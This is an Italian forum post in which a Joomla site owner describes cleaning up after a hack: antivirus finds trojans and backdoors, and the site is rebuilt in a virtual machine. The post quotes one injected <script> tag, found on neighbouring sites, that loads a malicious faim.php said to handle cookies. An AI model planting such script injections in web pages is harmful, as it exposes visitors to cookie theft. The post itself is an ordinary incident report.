Buongiorno a tutti ovviamente ho qualche news visto che indago...
Allora prima di tutto ho scaricato i files e DB e ho fatto una scansione con un antivirus e mi trova trojan e backdoor, potete vedere i file infetti dov'erano nell'immagine allegata (schermata bla bla)
Non ho aperto i php per capire cosa facessero, anche perchè ho installato xampp su una macchina virtuale e sto lavorando con un joomla 2.5 pulito nuovo ma col db vecchio collegato facendo una pulizia sugli utenti.
nel frattempo sull'host c'è solo 1 file html e una cartella immagini che fornisce le immagini all'html che avvisa che il sito è in manutenzione.
tutto il resto è pulito da ripristino da zero.
se vado in cpanel come dicevo vedevo queste strane visite, ho indagato ed ecco i risultati:
le visite vengono da 3 siti in particolare, i quali erano sulla stessa macchina in cui c'era il mio prima della migrazione presso host attuale.
tutte le richieste sono di questo tipo:
<script type="text/javascript" src="
http://www.nomemiosito.com/modules/mod_404/temp/faim.php"></script></head>
quindi tutti gli utenti che accedono a quei siti fanno questo tipo di richiesta inconsapevole al mio, ovviamente quella pagina faim.php non esiste più già da un po' probabilmente era uno dei vecchi hack che ho subito prima della migrazione quindi ottengono tutti un 404 in risposta, ma mi da fastidio però che vengano da me a impallarmi i log di immondizia.
ho indagato e il faim.php potete trovare uno screenshot in allegato (screenshot.php.jpg), sembra facesse qualcosa con dei cookie ma non so di preciso cosa.
Ora il sistemista di quegli altri siti sta rimuovendo quel link che punta al mio, non so quanto questo mi proteggerà, magari non mi fa saltare all'occhio di ulteriori attacchi, magari quei siti sono bucati e se dentro c'è un link al mio è ovvio che mi fanno visita...
Fatto sta che ora, solo col file html caricato, nessuno ha bucato niente quindi mi verrebbe da pensare che l'host è sicuro...
però allo stesso tempo impazzisco perchè joomla era nuovo...bah!
[allegato eliminato automaticamente dopo un anno]
